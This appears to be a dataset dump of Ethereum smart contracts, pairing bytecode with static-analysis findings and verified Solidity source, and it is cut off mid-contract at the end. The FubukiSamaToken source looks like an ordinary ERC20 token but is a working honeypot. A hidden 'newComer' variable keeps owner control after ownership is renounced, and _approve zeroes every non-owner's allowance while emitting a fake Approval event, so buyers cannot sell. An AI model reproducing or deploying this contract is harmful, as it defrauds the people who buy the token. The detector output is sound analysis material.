0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f71461044e578063db92dbb61461046e578063dd62ed3e14610483578063e6ec64ec146104c957600080fd5b8063c3c8cd8014610404578063c4081a4c14610419578063c9567bf91461043957600080fd5b806370a082311461033b578063715018a61461035b5780638da5cb5b1461037057806395d89b4114610398578063a9059cbb146103c4578063b515566a146103e457600080fd5b8063313ce56711610123578063313ce567146102715780633bbac5791461028d578063437823ec146102c65780634b740b16146102e65780635d098b38146103065780636fc3eaec1461032657600080fd5b806306fdde0314610176578063095ea7b3146101c157806318160ddd146101f157806323b872dd1461021a578063273123b71461023a57806327f3a72a1461025c57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152601081526f213ab7373c902330b936902a37b5b2b760811b60208201525b6040516101b89190611c62565b60405180910390f35b3480156101cd57600080fd5b506101e16101dc366004611af3565b6104e9565b60405190151581526020016101b8565b3480156101fd57600080fd5b506b033b2e3c9fd0803ce80000005b6040519081526020016101b8565b34801561022657600080fd5b506101e1610235366004611ab3565b610500565b34801561024657600080fd5b5061025a610255366004611a43565b610569565b005b34801561026857600080fd5b5061020c6105bd565b34801561027d57600080fd5b50604051601281526020016101b8565b34801561029957600080fd5b506101e16102a8366004611a43565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156102d257600080fd5b5061025a6102e1366004611a43565b6105cd565b3480156102f257600080fd5b5061025a610301366004611be5565b610611565b34801561031257600080fd5b5061025a610321366004611a43565b61064f565b34801561033257600080fd5b5061025a6106bf565b34801561034757600080fd5b5061020c610356366004611a43565b6106ec565b34801561036757600080fd5b5061025a61070e565b34801561037c57600080fd5b506000546040516001600160a01b0390911681526020016101b8565b3480156103a457600080fd5b5060408051808201909152600381526221272360e91b60208201526101ab565b3480156103d057600080fd5b506101e16103df366004611af3565b610782565b3480156103f057600080fd5b5061025a6103ff366004611b1e565b61078f565b34801561041057600080fd5b5061025a6108d6565b34801561042557600080fd5b5061025a610434366004611c1d565b61090c565b34801561044557600080fd5b5061025a61093f565b34801561045a57600080fd5b5061025a610469366004611a43565b610d07565b34801561047a57600080fd5b5061020c610d48565b34801561048f57600080fd5b5061020c61049e366004611a7b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104d557600080fd5b5061025a6104e4366004611c1d565b610d60565b60006104f6338484610d93565b5060015b92915050565b600061050d848484610eb7565b61055f843361055a85604051806060016040528060288152602001611e33602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611293565b610d93565b5060019392505050565b6000546001600160a01b0316331461059c5760405162461bcd60e51b815260040161059390611cb5565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60006105c8306106ec565b905090565b600d546001600160a01b0316336001600160a01b0316146105ed57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600d546001600160a01b0316336001600160a01b03161461063157600080fd5b60108054911515600160a81b0260ff60a81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461066f57600080fd5b600e80546001600160a01b03908116600090815260056020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600d546001600160a01b0316336001600160a01b0316146106df57600080fd5b476106e9816112cd565b50565b6001600160a01b0381166000908152600260205260408120546104fa90611352565b6000546001600160a01b031633146107385760405162461bcd60e51b815260040161059390611cb5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104f6338484610eb7565b6000546001600160a01b031633146107b95760405162461bcd60e51b815260040161059390611cb5565b60005b81518110156108d25760105482516001600160a01b03909116908390839081106107f657634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316141580156108555750600f5482516001600160a01b039091169083908390811061084157634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031614155b156108c05760016006600084848151811061088057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ca81611dc8565b9150506107bc565b5050565b600d546001600160a01b0316336001600160a01b0316146108f657600080fd5b6000610901306106ec565b90506106e9816113d6565b600d546001600160a01b0316336001600160a01b03161461092c57600080fd5b600181111561093a57600080fd5b600955565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161059390611cb5565b601054600160a01b900460ff16156109c35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610593565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610a0330826b033b2e3c9fd0803ce8000000610d93565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3c57600080fd5b505afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190611a5f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610abc57600080fd5b505afa158015610ad0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af49190611a5f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b3c57600080fd5b505af1158015610b50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b749190611a5f565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610ba4816106ec565b600080610bb96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c1c57600080fd5b505af1158015610c30573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c559190611c35565b5050601054600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ca957600080fd5b505af1158015610cbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce19190611c01565b506010805460ff60a01b1916600160a01b179055610d0142610e10611d5a565b60115550565b600d546001600160a01b0316336001600160a01b031614610d2757600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6010546000906105c8906001600160a01b03166106ec565b600d546001600160a01b0316336001600160a01b031614610d8057600080fd5b6007811115610d8e57600080fd5b600a55565b6001600160a01b038316610df55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610593565b6001600160a01b038216610e565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610593565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610593565b6001600160a01b038216610f7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610593565b60008111610fdf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610593565b6000546001600160a01b0384811691161480159061100b57506000546001600160a01b03838116911614155b15611222576001600160a01b03831660009081526006602052604090205460ff1615801561105257506001600160a01b03821660009081526006602052604090205460ff16155b61105b57600080fd5b6010546001600160a01b0384811691161480156110865750600f546001600160a01b03838116911614155b80156110ab57506001600160a01b03821660009081526005602052604090205460ff16155b1561115957601054600160a01b900460ff166111095760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610593565b42601154111561115957600061111e836106ec565b9050611142606461113c6b033b2e3c9fd0803ce8000000600261157b565b906115fa565b61114c838361163c565b111561115757600080fd5b505b6000611164306106ec565b601054909150600160b01b900460ff1615801561118f57506010546001600160a01b03858116911614155b80156111a45750601054600160a01b900460ff165b1561122057801561120e576010546111d89060649061113c906005906111d2906001600160a01b03166106ec565b9061157b565b811115611205576010546112029060649061113c906005906111d2906001600160a01b03166106ec565b90505b61120e816113d6565b47801561121e5761121e476112cd565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061126457506001600160a01b03831660009081526005602052604090205460ff165b806112785750601054600160a81b900460ff165b15611281575060005b61128d8484848461169b565b50505050565b600081848411156112b75760405162461bcd60e51b81526004016105939190611c62565b5060006112c48486611db1565b95945050505050565b600d546001600160a01b03166108fc6112e78360026115fa565b6040518115909202916000818181858888f1935050505015801561130f573d6000803e3d6000fd5b50600e546001600160a01b03166108fc61132a8360026115fa565b6040518115909202916000818181858888f193505050501580156108d2573d6000803e3d6000fd5b60006007548211156113b95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610593565b60006113c36116c9565b90506113cf83826115fa565b9392505050565b6010805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061142c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561148057600080fd5b505afa158015611494573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b89190611a5f565b816001815181106114d957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546114ff9130911684610d93565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611538908590600090869030904290600401611cea565b600060405180830381600087803b15801561155257600080fd5b505af1158015611566573d6000803e3d6000fd5b50506010805460ff60b01b1916905550505050565b60008261158a575060006104fa565b60006115968385611d92565b9050826115a38583611d72565b146113cf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610593565b60006113cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ec565b6000806116498385611d5a565b9050838110156113cf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610593565b806116a8576116a861171a565b6116b3848484611748565b8061128d5761128d600b54600955600c54600a55565b60008060006116d661183f565b90925090506116e582826115fa565b9250505090565b6000818361170d5760405162461bcd60e51b81526004016105939190611c62565b5060006112c48486611d72565b60095415801561172a5750600a54155b1561173157565b60098054600b55600a8054600c5560009182905555565b60008060008060008061175a87611887565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061178c90876118e4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117bb908661163c565b6001600160a01b0389166000908152600260205260409020556117dd81611926565b6117e78483611970565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161182c91815260200190565b60405180910390a3505050505050505050565b60075460009081906b033b2e3c9fd0803ce800000061185e82826115fa565b82101561187e575050600754926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006118a48a600954600a54611994565b92509250925060006118b46116c9565b905060008060006118c78e8787876119e3565b919e509c509a509598509396509194505050505091939550919395565b60006113cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611293565b60006119306116c9565b9050600061193e838361157b565b3060009081526002602052604090205490915061195b908261163c565b30600090815260026020526040902055505050565b60075461197d90836118e4565b60075560085461198d908261163c565b6008555050565b60008080806119a8606461113c898961157b565b905060006119bb606461113c8a8961157b565b905060006119d3826119cd8b866118e4565b906118e4565b9992985090965090945050505050565b60008080806119f2888661157b565b90506000611a00888761157b565b90506000611a0e888861157b565b90506000611a20826119cd86866118e4565b939b939a50919850919650505050505050565b8035611a3e81611e0f565b919050565b600060208284031215611a54578081fd5b81356113cf81611e0f565b600060208284031215611a70578081fd5b81516113cf81611e0f565b60008060408385031215611a8d578081fd5b8235611a9881611e0f565b91506020830135611aa881611e0f565b809150509250929050565b600080600060608486031215611ac7578081fd5b8335611ad281611e0f565b92506020840135611ae281611e0f565b929592945050506040919091013590565b60008060408385031215611b05578182fd5b8235611b1081611e0f565b946020939093013593505050565b60006020808385031215611b30578182fd5b823567ffffffffffffffff80821115611b47578384fd5b818501915085601f830112611b5a578384fd5b813581811115611b6c57611b6c611df9565b8060051b604051601f19603f83011681018181108582111715611b9157611b91611df9565b604052828152858101935084860182860187018a1015611baf578788fd5b8795505b83861015611bd857611bc481611a33565b855260019590950194938601938601611bb3565b5098975050505050505050565b600060208284031215611bf6578081fd5b81356113cf81611e24565b600060208284031215611c12578081fd5b81516113cf81611e24565b600060208284031215611c2e578081fd5b5035919050565b600080600060608486031215611c49578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c8e57858101830151858201604001528201611c72565b81811115611c9f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d395784516001600160a01b031683529383019391830191600101611d14565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d6d57611d6d611de3565b500190565b600082611d8d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611dac57611dac611de3565b500290565b600082821015611dc357611dc3611de3565b500390565b6000600019821415611ddc57611ddc611de3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106e957600080fd5b80151581146106e957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a4bc2db53f30881862ee04645d05cd4b76fa4e0199dfb82b876ba51a4941557864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,490 |
0x9b29f43a91d3733b87602992943d03195fc6574d
|
/**
░█▀▀▀ █──█ █▀▀▄ █──█ █─█ ─▀─ ── ░█▀▀▀█ █▀▀█ █▀▄▀█ █▀▀█ ▀▀█▀▀ █▀▀█ █─█ █▀▀ █▀▀▄
░█▀▀▀ █──█ █▀▀▄ █──█ █▀▄ ▀█▀ ▀▀ ─▀▀▀▄▄ █▄▄█ █─▀─█ █▄▄█ ─░█── █──█ █▀▄ █▀▀ █──█
░█─── ─▀▀▀ ▀▀▀─ ─▀▀▀ ▀─▀ ▀▀▀ ── ░█▄▄▄█ ▀──▀ ▀───▀ ▀──▀ ─░█── ▀▀▀▀ ▀─▀ ▀▀▀ ▀──▀
Website: Fubukitoken.site
Twitter: https://twitter.com/FubukiToken/
https://t.me/FubukiToken
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract FubukiSamaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12 * 10**18;
string private _name = ' Fubuki-Sama Token ';
string private _symbol = 'Fubuki ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207be70760fcdfd6859f3ef996a57b22f3608e015efc059c9f8c62616d6d70a30964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,491 |
0x2caae301bb207f0880efd4eaa0ef6b6a666ef397
|
/**
*Submitted for verification at Etherscan.io on 2021-03-13
*/
pragma solidity ^0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) balances;
uint256 _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
